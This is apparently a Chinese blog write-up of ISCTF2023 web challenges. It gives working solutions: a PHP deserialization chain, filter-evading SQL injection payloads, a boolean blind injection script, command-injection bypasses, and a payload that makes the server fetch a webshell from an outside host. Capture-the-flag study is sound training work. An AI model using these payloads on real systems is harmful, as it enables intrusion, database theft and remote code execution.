日常比赛

ISCTF

ISCTF2023

圣杯战争

就是简单的pop构造

<?php

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;//3
    }
}

class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();//2
    }
}
class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);//1
    }
}
class summon{
    public $Saber;
    public $Rider;

    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;//4
    }
}

$a = new summon();
$a->Sabe=new artifact();
$a->Sabe->excalibuer=new prepare();
$a->Sabe->excalibuer->release=new saber();
$a->Sabe->excalibuer->release->weapon="php:filter://convert.base64-encode/resource=flag.php";

echo serialize($a);

绕进你心里

考点:正则的最大回溯

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

前面的两关都可以使用数组绕过


import requests
url = "http://gz.imxbt.cn:20886/?hongmeng[]=1&shennong[]=2&zhurong[]=1"
data = {
    'pan_gu': '2023'*250000+'2023ISCTF'
}
res = requests.post(url=url,data=data)
print(res.text)

where_is_the_flag

从phpinfo()中的环境变量中找
paylaod:

1=phpinfo();

easy_website

经过手测,发现过滤了很多
过滤了or,select,空格

使用了爆破注入

查表
'oorr/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()),0x7e),1)--+

查列
'oorr/**/updatexml(1,concat(0x7e,(seselectlect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users'),0x7e),1)--+

查字段(有点长,要使用mid)
username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),67,120),0x7e),1)#

username=1'/**/aandnd/**/updatexml(1,concat(0x7e,mid((seselectlect/**/group_concat(passwoorrd)/**/from/**/users),90,120),0x7e),1)#

wafr

 <?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
    die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
    die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
    die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
    die("大胆!!!");
}
else{
    assert($_POST['code']);
}

这里提示到了strings,学习一下strings命令

strings后面加上要读取的文件名就行
payload:

code=system('strings /f*')

ezini

考点:日志包含+.user.ini

尝试常规方法后发现过滤了<>
这就没办法了,看了wp发现可以使用日志包含,用来传木马
alt text

1z_Ssql

考点:超多过滤下的布尔盲注,SM4解密

源码里面有一个SM4加密的JS前端文件,里面有密钥和ECB模式的提示

const SM4 = require("gm-crypt").sm4;

var payload = "xxx";

let sm4Config = {
    key: "B6*40.2_C9#e4$E3",
    mode: "ecb",
    cipherType: "base64"
};
let sm4 = new  SM4(sm4Config);

var result = sm4.decrypt(payload);

console.log("解密:" + result)

在robots.txt中找到here_is_a_sercet.php

 <?php
highlight_file("here_is_a_sercet.php");

function waf($str){
    $black_list = "762V08zk+xrmKxIFrdJIJj6ULvI8Lc0pX39LjDyIUb0eAGkZe4KQa87TJXuqnFw0u/669wWRsqYFya812FtULw9+tpiGlaH2gleDfDKzr+g=";
    if (preg_match($black_list,$str)){
        die("<h4>illegal words!</h4>");
    }
    return $str;
}

?> 

alt text
解密得到

/union|=|+|sleep|benchmark|for|where|sys|innodb|is|null|like|/*|*//i

在线SM4解密平台https://lzltool.cn/SM4

之前fuzz了一下,和上面结果差不多

试了'or 2>1#发现有回显,为You are so smart!

那就可以使用布尔盲注了

这里的表名users和字段名username,password是已经给出了的

import requests
url = "http://gz.imxbt.cn:20104/"
data = {'username':'',
        'password':123456,
        'submit':'%E7%99%BB%E5%BD%95'}
flag = ''

for i in range(1,46):
    start = 32
    end = 127
    while start < end:
        mid = (start + end) >> 1
        #paylaod = "database()"
        #paylaod = "user()"
        #payload = "select username from users"
        payload = "select password from users"
        data['username'] = f"admin' and if(ascii(substr(({payload}), {i} , 1)) > {mid}, 2, 1)>1#"
        res = requests.post(url=url, data=data)
        if "You are so smart!" in res.text:
            start = mid +1
        else:
            end = mid
    flag = flag + chr(start)
    print(flag)

webinclude

考点:javascript代码审计和文件包含

找不到需要传入的参数
dirsearch扫描到备份文件

 function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }

const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

逆着写,得出参数是mihoyo
payload:

mihoyo=php://filter/convert.base64-encode/resource=flag.php

fuzz

考点:在命令执行中管道符|作用,利用通配符绕过

 <?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
    die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
    $file = $_GET['file'];
}
system('curl '.$file);

使用bp来fuzz一下得到|,[],{}-等没有被过滤

"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令
payload:

?file=|tac /fl[a-z]ggggggg.txt
或
?file=f{i}l{e}:///fla{g}gggggg.txt

可以利用curl来下载文件

payload:

?file=-O http://igniting.top/shell.php

shell.php中放一句话木马

你可能也会喜欢...

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注